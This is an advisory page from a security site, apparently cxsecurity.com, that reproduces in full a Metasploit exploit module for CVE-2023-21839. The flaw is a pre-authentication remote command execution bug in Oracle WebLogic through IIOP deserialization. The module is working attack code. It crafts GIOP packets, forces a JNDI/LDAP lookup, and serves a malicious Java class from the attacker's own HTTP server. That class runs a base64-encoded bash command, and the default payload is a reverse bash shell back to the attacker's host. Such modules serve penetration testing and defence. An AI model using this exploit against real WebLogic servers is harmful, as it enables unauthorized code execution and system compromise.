Oracle Weblogic PreAuth Remote Command Execution

2023.06.15
Credit: Grant Willcox
Risk: High
Local: No
Remote: Yes
CWE: CWE-78

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp include Exploit::Remote::JndiInjection prepend Msf::Exploit::Remote::AutoCheck # Page 19 of https://docs.oracle.com/cd/E13211_01/wle/wle42/corba/giop.pdf explains these codes. GIOP_REQUEST = 0 GIOP_REPLY = 1 GIOP_CANCEL_REQUEST = 2 GIOP_LOCATE_REQUEST = 3 GIOP_LOCATE_REPLY = 4 GIOP_CLOSE_CONNECTION = 5 GIOP_MESSAGE_ERROR = 6 GIOP_FRAGMENT = 7 # Taken from page 561 of https://www.omg.org/spec/CORBA/3.0.3/PDF SYNCSCOPE_NONE = 0 SYNCSCOPE_WITH_TRANSPORT = 0 SYNCSCOPE_WITH_SERVER = 1 SYNCSCOPE_WITH_TARGET = 3 # Taken from page 588 of https://www.omg.org/spec/CORBA/3.0.3/PDF ADDR_DISPOSITION_KEYADDR = 0 ADDR_DISPOSITION_PROFILE_ADDR = 1 ADDR_DISPOSITION_REFERENCE_ADDR = 2 # GIOP Protocol RequestReply Header Codes # Type is ReplyStatusType -> Taken from page 24 of https://docs.oracle.com/cd/E13211_01/wle/wle42/corba/giop.pdf NO_EXCEPTION = 0 USER_EXCEPTION = 1 SYSTEM_EXCEPTION = 2 LOCATION_FORWARD = 3 # GIOP Protocol LocateReply Header Codes # Taken from page 28 of https://docs.oracle.com/cd/E13211_01/wle/wle42/corba/giop.pdf UNKNOWN_OBJECT = 0 OBJECT_HERE = 1 OBJECT_FORWARD = 2 def initialize(info = {}) super( update_info( info, 'Name' => 'Oracle Weblogic PreAuth Remote Command Execution via ForeignOpaqueReference IIOP Deserialization', 'License' => MSF_LICENSE, 'Author' => [ '4ra1n', # From X-Ray Security Team of Chaitin Tech. The researcher who originally found this vulnerability and wrote the PoC. '14m3ta7k', # Of gobysec team. Wrote the writeup and analysis of this vulnerability. 'Grant Willcox' # @tekwizz123 This Metasploit module ], 'Description' => %q{ Oracle Weblogic 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0 prior to the Jan 2023 security update are vulnerable to an unauthenticated remote code execution vulnerability due to a post deserialization vulnerability. This occurs when an attacker serializes a "ForeignOpaqueReference" class object, deserializes it on the target, and then post deserialization, calls the object's "getReferent()" method, which will make use of the "ForeignOpaqueReference" class's "remoteJNDIName" variable, which is under the attackers control, to do a remote loading of the JNDI address specified by "remoteJNDIName" via the "lookup()" function. This can in turn lead to a deserialization vulnerability whereby an attacker supplies the address of a HTTP server hosting a malicious Java class file, which will then be loaded into the Oracle Weblogic process's memory and an attempt to create a new instance of the attacker's class will be made. Attackers can utilize this to execute arbitrary Java code during the instantiation of the object, thereby getting remote code execution as the "oracle" user. This module exploits this vulnerability to trigger the JNDI connection to a LDAP server we control. The LDAP server will then respond with a remote reference response that points to a HTTP server that we control, where the malicious Java class file will be hosted. Oracle Weblogic will then make a HTTP request to retrieve the malicious Java class file, at which point our HTTP server will serve up the malicious class file and Oracle Weblogic will instantiate an instance of that class, granting us RCE as the "oracle" user. This vulnerability was exploited in the wild as noted by KEV on May 1st 2023: https://www.fortiguard.com/outbreak-alert/oracle-weblogic-server-vulnerability }, 'References' => [ ['CVE', '2023-21839'], ['URL', 'https://www.oracle.com/security-alerts/cpujan2023.html'], # Advisory ['URL', 'https://github.com/gobysec/Weblogic/blob/main/WebLogic_CVE-2023-21931_en_US.md'], # Writeup ['URL', 'https://github.com/gobysec/Weblogic/blob/main/Weblogic_Serialization_Vulnerability_and_IIOP_Protocol_en_US.md'], # Additional Info on Weblogic and IIOP ['URL', 'https://github.com/4ra1n/CVE-2023-21839'], # PoC ['URL', 'https://www.fortiguard.com/outbreak-alert/oracle-weblogic-server-vulnerability'] # EITW alert. ], 'Privileged' => false, 'Targets' => [ [ 'Linux', { 'Platform' => %w[unix linux], 'Arch' => [ARCH_CMD], 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => '2023-01-17', 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } ) ) register_options( [ Opt::RPORT(7001), OptPort.new('HTTP_SRVPORT', [true, 'The HTTP server port', 8080]) ] ) end def get_weblogic_version socket = connect http_request = Rex::Proto::Http::ClientRequest.new( { 'uri' => '/console/login/LoginForm.jsp', 'vhost' => datastore['RHOST'], 'port' => datastore['RPORT'] } ).to_s socket.put(http_request.to_s) res = socket.get fail_with(Failure::UnexpectedReply, 'Could not get the Weblogic login page') unless res # Disconnect as we will want a new socket for future connections. disconnect # Do the regex on the result to find the version. version = res.match(/WebLogic Server Version: ((?:\d{1,3}\.){4}\d{1,3})/) fail_with(Failure::UnexpectedReply, 'Could not get the version information from the Weblogic login page') if version.nil? version = version[1] Rex::Version.new(version) end def giop_header(msg_type) header = '' header << 'GIOP' # Magic header << "\x01\x02" # Version, in this case 1.2 of the GIOP protocol. header << "\x00" # Message flags case msg_type when GIOP_REQUEST, GIOP_CANCEL_REQUEST, GIOP_LOCATE_REQUEST, GIOP_MESSAGE_ERROR, GIOP_FRAGMENT header << [msg_type].pack('C') else fail_with(Failure::BadConfig, 'Attempt was made to send a packet with an invalid GIOP header!') end header << 'LENGTH_REPLACE_ME' end # LocateRequest packets are used to determine whether an object reference is valid, # whether the current server is capable of directly receiving request for the object reference, # and if not, to what address the request for the object should be sent. # # Taken from https://docs.oracle.com/cd/E13211_01/wle/wle42/corba/giop.pdf page 27 def giop_locate_request_packet(keyaddress = 'NameService') header = giop_header(GIOP_LOCATE_REQUEST) # GIOP Header with LocateRequest attribute data = '' packet = '' @request_id = 1 if @request_id.nil? @request_id += 1 data << [@request_id].pack('N') # Request ID data << [0].pack('n') # TargetAddress, 2 byte field data << [0].pack('n') # Padding, 2 bytes data << [keyaddress.length].pack('N') # Key Address Length data << keyaddress packet << header packet << data packet.gsub!('LENGTH_REPLACE_ME', [data.length].pack('N')) packet end def create_service_context(vscid, scid, context_data, endian = 0) context = '' seq_length = context_data.length + 1 # Add 1 to account for the endian byte being part of the sequence length. context << vscid # 3 byte long VSCID context << [scid].pack('C') # 1 byte long SCID context << [seq_length].pack('N') # 4 byte long sequence length context << [endian].pack('C') # 1 byte indicator of endianness. 0 is big endian, 1 is little endian. context << context_data context end def giop_rebind_any_packet(sync_scope, addr_disposition, key_address, stub_data, context_list_length) header = giop_header(GIOP_REQUEST) # GIOP Header with REQUEST attribute data = '' packet = '' @request_id = 1 if @request_id.nil? @request_id += 1 data << [@request_id].pack('N') # Request ID data << [sync_scope].pack('C') # Response flags data << "\x00\x00\x00" # Reserved data << [addr_disposition].pack('n') # TargetAddress, 2 bytes data << [0].pack('n') # Two bytes of padding. data << [key_address.length].pack('N') # Key Address Length data << key_address data << [11].pack('N') # Operation Length + 1 for a NULL byte to terminate the operation name? data << "rebind_any\x00" # Request Operation service_context_list = '' service_context_list << "\x00" # Seems we have one byte of padding? Lets account for this. service_context_list << [context_list_length].pack('N') # Sequence Length service_context_list << '{SERVICE_CONTEXT_LIST}' @java_class_name = 'PayloadRuns' ldap_uri = jndi_string(@java_class_name) stub_data += [ldap_uri.length].pack('C') + ldap_uri data << service_context_list data << stub_data packet << header packet << data packet end def goip_resolve_request_packet(sync_scope, addr_disposition, key_address, context_list_length, cos_naming_disector, seq_len) header = giop_header(GIOP_REQUEST) # GIOP Header with REQUEST attribute data = '' packet = '' @request_id = 1 if @request_id.nil? @request_id += 1 data << [@request_id].pack('N') # Request ID data << [sync_scope].pack('C') # Response flags data << "\x00\x00\x00" # Reserved data << [addr_disposition].pack('n') # TargetAddress, 2 bytes data << [0].pack('n') # Two bytes of padding. data << [key_address.length].pack('N') # Key Address Length data << key_address data << [8].pack('N') # Operation Length + 1 for a NULL byte to terminate the operation name? data << "resolve\x00" # Request Operation service_context_list = '' service_context_list << [context_list_length].pack('N') # Sequence Length service_context_list << '{SERVICE_CONTEXT_LIST}' cos_data = '' if cos_naming_disector cos_data << "\x00\x00\x00\x00" cos_data << [seq_len].pack('N') # Sequence length name_component = "test\x00" cos_data << [name_component.length].pack('N') # Name component length including NULL byte. cos_data << name_component cos_data << "\x00\x00\x00\x00\x00\x00\x01\x00" # Unknown data, Wireshark could not decode this. end data << service_context_list data << cos_data packet << header packet << data packet end def check begin @version = get_weblogic_version fail_with(Failure::UnexpectedReply, 'Could not find the target Weblogic version in the t3 response!') if @version.nil? rescue ::Timeout::Error fail_with(Failure::TimeoutExpired, 'Was unable to connect to target. Connection timed out.') rescue Rex::AddressInUse fail_with(Failure::BadConfig, 'Address is currently in use') rescue Rex::HostUnreachable fail_with(Failure::Unreachable, 'Target host is unreachable!') rescue Rex::ConnectionRefused fail_with(Failure::Disconnected, 'Target refused connection!') rescue ::Errno::ETIMEDOUT, Rex::ConnectionTimeout fail_with(Failure::TimeoutExpired, 'Was unable to connect to target. Connection timed out.') end if @version.between?(Rex::Version.new('12.2.1.3.0'), Rex::Version.new('12.2.1.3.9999')) return CheckCode::Vulnerable('Target is a Oracle WebServer 12.2.1.3 server, and is vulnerable!') elsif @version.between?(Rex::Version.new('12.2.1.4.0'), Rex::Version.new('12.2.1.4.9999')) return CheckCode::Vulnerable('Target is a Oracle WebServer 12.2.1.4 server, and is vulnerable!') elsif @version.between?(Rex::Version.new('14.1.1.0.0'), Rex::Version.new('14.1.1.0.9999')) return CheckCode::Vulnerable('Target is a Oracle WebServer 14.1.1.0 server, and is vulnerable!') else return CheckCode::Safe('Target is not a vulnerable version of Oracle WebServer!') end end # HTTP Server Related Functions and Overrides # Returns the configured URIPATH along with the path to the Java class we are serving def resource_uri "#{datastore['URIPATH']}/#{@java_class_name}.class" end # Want to just point this to the base of our install. WebLogic will append *CLASS NAME*.class to the end of # this URL when it tries to fetch the class to be loaded and instantiated. def ldap_url_string "http#{datastore['SSL'] ? 's' : ''}://#{Rex::Socket.to_authority(datastore['SRVHOST'], datastore['HTTP_SRVPORT'])}/" end # # Handle the HTTP request and return a response. Code borrowed from: # msf/core/exploit/http/server.rb # def start_http_service(opts = {}) # Start a new HTTP server @http_service = Rex::ServiceManager.start( Rex::Proto::Http::Server, (opts['ServerPort'] || bindport).to_i, opts['ServerHost'] || bindhost, datastore['SSL'], { 'Msf' => framework, 'MsfExploit' => self }, opts['Comm'] || _determine_server_comm(opts['ServerHost'] || bindhost), datastore['SSLCert'], datastore['SSLCompression'], datastore['SSLCipher'], datastore['SSLVersion'] ) @http_service.server_name = datastore['HTTP::server_name'] # Default the procedure of the URI to on_request_uri if one isn't # provided. uopts = { 'Proc' => method(:on_request_uri), 'Path' => resource_uri }.update(opts['Uri'] || {}) proto = (datastore['SSL'] ? 'https' : 'http') netloc = opts['ServerHost'] || bindhost http_srvport = (opts['ServerPort'] || bindport).to_i print_status("Serving Java code on: #{proto}://#{Rex::Socket.to_authority(netloc, http_srvport)}#{uopts['Path']}") # Add path to resource @service_path = uopts['Path'] @http_service.add_resource(uopts['Path'], uopts) end # # Kill HTTP service (shut it down and clear resources) # def cleanup # Stop the LDAP server cleanup_service # Clean and stop HTTP server if @http_service begin @http_service.remove_resource(datastore['URIPATH']) @http_service.deref @http_service.stop @http_service = nil rescue StandardError => e print_error("Failed to stop http server due to #{e}") end end super end # # Handle HTTP requests and responses # def on_request_uri(cli, request) agent = request.headers['User-Agent'] vprint_good("Payload requested by #{cli.peerhost} using #{agent}") class_raw = File.binread(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-21839', 'PayloadRuns.class')) base64_payload = Rex::Text.encode_base64(payload.encoded) exec_command_length = 'bash -c {echo,PAYLOAD}|{base64,-d}|{bash,-i}'.length command_length = (exec_command_length - 'PAYLOAD'.length) + base64_payload.length class_raw = class_raw.gsub("\x00\x2C", [command_length].pack('n')) class_raw = class_raw.gsub('PAYLOAD', base64_payload) send_response(cli, 200, 'OK', class_raw) end # # Create an HTTP response and then send it # def send_response(cli, code, message = 'OK', html = '') proto = Rex::Proto::Http::DefaultProtocol res = Rex::Proto::Http::Response.new(code, message, proto) res.body = html cli.send_response(res) end # LDAP Server Overrides def build_ldap_search_response_payload # Always do a remote load # Note that for reasons unknown this URL cannot be anything but the base URL of the HTTP server. # You can add anchor tags using # to the URL but thats it. build_ldap_search_response_payload_remote(ldap_url_string, @java_class_name) end # Main Exploit def exploit if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0 fail_with(Failure::BadConfig, 'SRVHOST must be set to a routable address!') end if @version.blank? @version = get_weblogic_version end # Step 1 - Make T3 connection to start IIOP connection process, and read response. socket = connect print_status('1. Making T3 connection...') socket.put("t3 9.2.0.0\nAS:255\nHL:92\nMS:10000000\nPU:t3://#{Rex::Socket.to_authority(datastore['RHOST'], datastore['RPORT'])}\n\n") _buf = socket.get disconnect print_good('Made T3 connection!') # Step 2 - Send first GIOP LocateRequest packet print_status('2. Sending first GIOP LocateRequest packet') # Make a GIOP LocateRequest packet request and read response. socket = connect socket.put(giop_locate_request_packet) locate_buf = socket.get disconnect print_good('Step 2 complete!') reply_status = locate_buf[16..19].unpack('N')&.dig(0) if reply_status != OBJECT_FORWARD fail_with(Failure::UnexpectedReply, 'Target did not respond with the expected OBJECT_FORWARD response to our GIOP LocateRequest packet!') end # Calculate the target port # Start at offset 0x60 which will be inside the GIOP's LocateReply message, # and will be where the IP address is located in the IOR response. port_offset = 0x60 # Starting at this offset above, loop until we hit a zero byte in the IOR buffer. # This works because the PORT number is represented as a 4 byte long number, aka 32 bits, # and the upper part will never be used. Either that or there is a \x00\x00 padding section # between the IP address and the port. loop do if locate_buf[port_offset] != "\x00" port_offset += 0x1 else break end end # If port_offset is too large by this point then we have likely hit an error and should exit if port_offset > 10240 fail_with(Failure::UnexpectedReply, 'Response from server when calculating port_offset was malformed!') end # Now, loop until we hit a non-zero byte in the IOR buffer. This should # place at the location of the port part of the IP address that is embedded in the IOR message. loop do if locate_buf[port_offset] == "\x00" port_offset += 0x1 else break end end port = [] port.append(locate_buf[port_offset]) port_offset += 1 port.append(locate_buf[port_offset]) # Reformulate the port number from the array so we can get the actual port the target server is expecting us to use. final_port = port[1].bytes[0] | (port[0].bytes[0] << 8) # Fail if the received port is not the one we expected. if final_port != datastore['RPORT'] fail_with(Failure::UnexpectedReply, "Target did not respond with the same RPORT in the GIOP LocateReply message as the one we expected. Expected #{datastore['RPORT']} but got #{final_port}") end lt = port_offset - 0x60 # This will point us 1 byte into the request ID field of the GIOP LocateReply message. foff = 0x60 + lt + 0x75 # This points us at some point within the IOR object that is just before the bytes V~QU5z�U loop do if locate_buf[foff] == "\x00" foff += 0x1 else break end end key1 = locate_buf[foff...foff + 8] key2 = "\xff\xff\xff\xff" + locate_buf[foff + 4...foff + 8] if @version >= Rex::Version.new('12') && @version < Rex::Version.new('13') wls_key_1 = "\x00\x42\x45\x41\x08\x01\x03\x00\x00\x00\x00\x0c\x41\x64\x6d\x69\x6e\x53\x65\x72\x76\x65\x72\x00\x00\x00\x00\x00\x00\x00\x00\x33\x49" \ "\x44\x4c\x3a\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x72\x62\x61\x2f\x63\x6f\x73\x2f\x6e\x61\x6d\x69\x6e\x67\x2f\x4e\x61\x6d\x69\x6e\x67\x43" \ "\x6f\x6e\x74\x65\x78\x74\x41\x6e\x79\x3a\x31\x2e\x30\x00\x00\x00\x00\x00\x02\x38\x00\x00\x00\x00\x00\x00\x01\x42\x45\x41\x2c\x00\x00\x00\x10\x00" \ "\x00\x00\x00\x00\x00\x00\x00{{key1}}" wls_key_2 = "\x00\x42\x45\x41\x08\x01\x03\x00\x00\x00\x00\x0c\x41\x64\x6d\x69\x6e\x53\x65\x72\x76\x65\x72\x00\x00\x00\x00\x00\x00\x00\x00\x33\x49" \ "\x44\x4c\x3a\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x72\x62\x61\x2f\x63\x6f\x73\x2f\x6e\x61\x6d\x69\x6e\x67\x2f\x4e\x61\x6d\x69\x6e\x67\x43" \ "\x6f\x6e\x74\x65\x78\x74\x41\x6e\x79\x3a\x31\x2e\x30\x00\x00\x00\x00\x00\x04{{key3}}\x00\x00\x00\x01\x42\x45\x41\x2c\x00\x00\x00\x10\x00" \ "\x00\x00\x00\x00\x00\x00\x00{{key1}}" elsif @version >= Rex::Version.new('14') && @version < Rex::Version.new('15') wls_key_1 = "\x00\x42\x45\x41\x08\x01\x03\x00\x00\x00\x00\x0c\x41\x64" \ "\x6d\x69\x6e\x53\x65\x72\x76\x65\x72\x00\x00\x00\x00\x00\x00\x00\x00\x33\x49\x44\x4c\x3a\x77\x65\x62\x6c" \ "\x6f\x67\x69\x63\x2f\x63\x6f\x72\x62\x61\x2f\x63\x6f\x73\x2f\x6e\x61\x6d\x69\x6e\x67\x2f\x4e\x61\x6d" \ "\x69\x6e\x67\x43\x6f\x6e\x74\x65\x78\x74\x41\x6e\x79\x3a\x31\x2e\x30\x00\x00\x00\x00\x00\x02\x38\x00\x00" \ "\x00\x00\x00\x00\x01\x42\x45\x41\x2e\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00{{key1}}" wls_key_2 = "\x00\x42\x45\x41\x08\x01\x03\x00\x00\x00\x00\x0c\x41\x64\x6d\x69\x6e\x53\x65\x72\x76\x65" \ "\x72\x00\x00\x00\x00\x00\x00\x00\x00\x33\x49\x44\x4c\x3a\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x72" \ "\x62\x61\x2f\x63\x6f\x73\x2f\x6e\x61\x6d\x69\x6e\x67\x2f\x4e\x61\x6d\x69\x6e\x67\x43\x6f\x6e\x74\x65" \ "\x78\x74\x41\x6e\x79\x3a\x31\x2e\x30\x00\x00\x00\x00\x00\x04{{key3}}\x00\x00\x00\x01\x42\x45\x41" \ "\x2e\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00{{key1}}" else fail_with(Failure::NoTarget, 'Target is not running a supported version of Oracle Weblogic that can be targeted!') end wls_key_1.gsub!('{{key1}}', key1) # Step 3 - Make a rebindAny request key_addr = wls_key_1 stub_data = "\x00\x00\x00\x01\x00\x00\x00\x04\x74\x65\x73\x74\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x1d\x00\x00\x00\x1c\x00\x00\x00\x00\x00\x00\x00\x01" \ "\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7f\xff\xff\x02\x00\x00\x00\x54\x52\x4d\x49\x3a\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x6a\x6e\x64\x69\x2e\x69" \ "\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x46\x6f\x72\x65\x69\x67\x6e\x4f\x70\x61\x71\x75\x65\x52\x65\x66\x65\x72\x65\x6e\x63\x65\x3a\x44\x32\x33\x37\x44\x39\x31\x43\x42\x32\x46\x30\x46\x36\x38" \ "\x41\x3a\x33\x44\x32\x31\x35\x32\x37\x46\x45\x44\x35\x39\x36\x45\x46\x31\x00\x00\x00\x00\x00\x7f\xff\xff\x02\x00\x00\x00\x23\x49\x44\x4c\x3a\x6f\x6d\x67\x2e\x6f\x72\x67\x2f\x43\x4f\x52\x42" \ "\x41\x2f\x57\x53\x74\x72\x69\x6e\x67\x56\x61\x6c\x75\x65\x3a\x31\x2e\x30\x00\x00\x00\x00\x00" socket = connect packet = giop_rebind_any_packet(SYNCSCOPE_WITH_TARGET, ADDR_DISPOSITION_KEYADDR, key_addr, "\x00\x00\x00\x00" + stub_data, 6) context_data = '' @service_context_0 = create_service_context("\x00\x00\x00", 5, "\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x0d\x31\x37\x32\x2e\x32\x36\x2e\x31\x31\x32\x2e\x31\x00\x00\xec\x5b") @service_context_1 = create_service_context("\x00\x00\x00", 1, "\x00\x00\x00\x00\x01\x00\x20\x05\x01\x00\x01") @service_context_2 = create_service_context("\x42\x45\x41", 0, "\x0a\x03\x01") context_data << @service_context_0 context_data << @service_context_1 context_data << create_service_context("\x00\x00\x00", 6, "\x00\x00\x00\x00\x00\x00\x28\x49\x44\x4c\x3a\x6f\x6d\x67\x2e\x6f\x72\x67\x2f\x53\x65\x6e\x64\x69\x6e\x67\x43" \ "\x6f\x6e\x74\x65\x78\x74\x2f\x43\x6f\x64\x65\x42\x61\x73\x65\x3a\x31\x2e\x30\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xb8\x00\x01\x02\x00\x00\x00\x00" \ "\x0d\x31\x37\x32\x2e\x32\x36\x2e\x31\x31\x32\x2e\x31\x00\x00\xec\x5b\x00\x00\x00\x64\x00\x42\x45\x41\x08\x01\x03\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x28\x49\x44\x4c\x3a\x6f\x6d\x67\x2e\x6f\x72\x67\x2f\x53\x65\x6e\x64\x69\x6e\x67\x43\x6f\x6e\x74\x65\x78\x74\x2f\x43\x6f\x64\x65\x42\x61" \ "\x73\x65\x3a\x31\x2e\x30\x00\x00\x00\x00\x03\x31\x32\x00\x00\x00\x00\x00\x01\x42\x45\x41\x2a\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x5e\xed\xaf\xde" \ "\xbc\x0d\x22\x70\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x2c\x00\x00\x00\x00\x00\x01\x00\x20\x00\x00\x00\x03\x00\x01\x00\x20\x00\x01\x00\x01\x05\x01\x00" \ "\x01\x00\x01\x01\x00\x00\x00\x00\x03\x00\x01\x01\x00\x00\x01\x01\x09\x05\x01\x00\x01") context_data << create_service_context("\x00\x00\x00", 15, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00") context_data << create_service_context("\x42\x45\x41", 3, "\x00\x00\x00\x00\x00\x00\x00" + key2 + "\x00\x00\x00\x00") context_data << @service_context_2 packet.gsub!('{SERVICE_CONTEXT_LIST}', context_data) # To find the true message size: # 1. Subtract an extra 12 bytes for GIOP header. # 2. Then subtract length of the LENGTH_REPLACE_ME string. # 3. Then add 4 to account for the 4 bytes that will now be occupied by the length field. message_size = packet.length - ('LENGTH_REPLACE_ME'.length + 12) + 4 packet.gsub!('LENGTH_REPLACE_ME', [message_size].pack('N')) print_status('3. Sending rebindAny request!') socket.put(packet) rebind_any_buf = socket.get disconnect print_good('Step 3 complete!') reply_status_code = rebind_any_buf[16..19].unpack('N')&.dig(0) if reply_status_code != LOCATION_FORWARD fail_with(Failure::UnexpectedReply, "Target responded with #{reply_status_code}! Expected LOCATION_FORWARD!") end start_off = 0x64 + lt + 0xc0 + datastore['RHOST'].length + # SendingContextRuntime 0xac + lt + # IOR ProfileHost ProfilePort 0x5d # ObjectKey Prefix while rebind_any_buf[start_off] != 0x32 if start_off > 0x2710 break end start_off += 1 end if start_off > 0x2710 key3 = "\x32\x38\x39\x00" else key3 = rebind_any_buf[start_off...start_off + 4] end wls_key_2.gsub!('{{key3}}', key3) wls_key_2.gsub!('{{key1}}', key1) # Step 4 - rebind_any Request Again??? socket = connect key_addr = wls_key_2 packet = giop_rebind_any_packet(SYNCSCOPE_WITH_TARGET, ADDR_DISPOSITION_KEYADDR, key_addr, stub_data, 4) context_data = '' context_data << @service_context_0 context_data << @service_context_1 context_data << create_service_context("\x42\x45\x41", 3, "\x00\x00\x00\x00\x00\x00\x00" + key2 + "\x00\x00\x00\x00") context_data << @service_context_2 packet.gsub!('{SERVICE_CONTEXT_LIST}', context_data) # To find the true message size: # 1. Subtract an extra 12 bytes for GIOP header. # 2. Then subtract length of the LENGTH_REPLACE_ME string. # 3. Then add 4 to account for the 4 bytes that will now be occupied by the length field. message_size = packet.length - ('LENGTH_REPLACE_ME'.length + 12) + 4 packet.gsub!('LENGTH_REPLACE_ME', [message_size].pack('N')) print_status('4. Sending second rebindAny request!') socket.put(packet) rebind_any_buf_2 = socket.get disconnect print_good('Step 4 complete!') reply_status_code = rebind_any_buf_2[16..19].unpack('N')&.dig(0) if reply_status_code != NO_EXCEPTION fail_with(Failure::UnexpectedReply, "Target responded with #{reply_status_code}! Expected NO_EXCEPTION!") end # Step 5 - Send second GIOP LocateRequest packet print_status('5. Sending second GIOP LocateRequest packet') socket = connect socket.put(giop_locate_request_packet) locate_buf_two = socket.get disconnect print_good('Step 5 complete!') reply_status_code = locate_buf_two[16..19].unpack('N')&.dig(0) if reply_status_code != OBJECT_FORWARD fail_with(Failure::UnexpectedReply, "Target responded with #{reply_status_code}! Expected OBJECT_FORWARD!") end # Step 6 - Resolve packet #1 with wls_key_1 key_addr = wls_key_1 packet = goip_resolve_request_packet(SYNCSCOPE_WITH_TARGET, ADDR_DISPOSITION_KEYADDR, key_addr, 4, true, 1) context_data = '' context_data << @service_context_0 context_data << @service_context_1 context_data << create_service_context("\x42\x45\x41", 3, "\x00\x00\x00\x00\x00\x00\x00" + key2 + "\x00\x00\x00\x00") context_data << @service_context_2 packet.gsub!('{SERVICE_CONTEXT_LIST}', context_data) # To find the true message size: # 1. Subtract an extra 12 bytes for GIOP header. # 2. Then subtract length of the LENGTH_REPLACE_ME string. # 3. Then add 4 to account for the 4 bytes that will now be occupied by the length field. message_size = packet.length - ('LENGTH_REPLACE_ME'.length + 12) + 4 packet.gsub!('LENGTH_REPLACE_ME', [message_size].pack('N')) print_status('6. Sending resolve packet #1 with wls_key_1') socket = connect socket.put(packet) resolve_packet_wls_key_1 = socket.get disconnect print_good('Step 6 complete!') reply_status_code = resolve_packet_wls_key_1[16..19].unpack('N')&.dig(0) if reply_status_code != LOCATION_FORWARD fail_with(Failure::UnexpectedReply, "Target responded with #{reply_status_code}! Expected LOCATION_FORWARD!") end # Step 7 - Resolve packet #2 with wls_key_2 key_addr = wls_key_2 packet = goip_resolve_request_packet(SYNCSCOPE_WITH_TARGET, ADDR_DISPOSITION_KEYADDR, key_addr, 4, true, 1) context_data = '' context_data << @service_context_0 context_data << @service_context_1 context_data << create_service_context("\x42\x45\x41", 3, "\x00\x00\x00\x00\x00\x00\x00" + key2 + "\x00\x00\x00\x00") context_data << @service_context_2 packet.gsub!('{SERVICE_CONTEXT_LIST}', context_data) # To find the true message size: # 1. Subtract an extra 12 bytes for GIOP header. # 2. Then subtract length of the LENGTH_REPLACE_ME string. # 3. Then add 4 to account for the 4 bytes that will now be occupied by the length field. message_size = packet.length - ('LENGTH_REPLACE_ME'.length + 12) + 4 packet.gsub!('LENGTH_REPLACE_ME', [message_size].pack('N')) start_service start_http_service('ServerPort' => datastore['HTTP_SRVPORT'].to_i) print_status('7. Sending resolve packet #2 with wls_key_2') socket = connect socket.put(packet) step_7_response = socket.get disconnect print_good('Step 7 complete!') reply_status_code = step_7_response[16..19].unpack('N')&.dig(0) if reply_status_code != USER_EXCEPTION fail_with(Failure::UnexpectedReply, "Target responded with #{reply_status_code}! Expected USER_EXCEPTION!") end end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top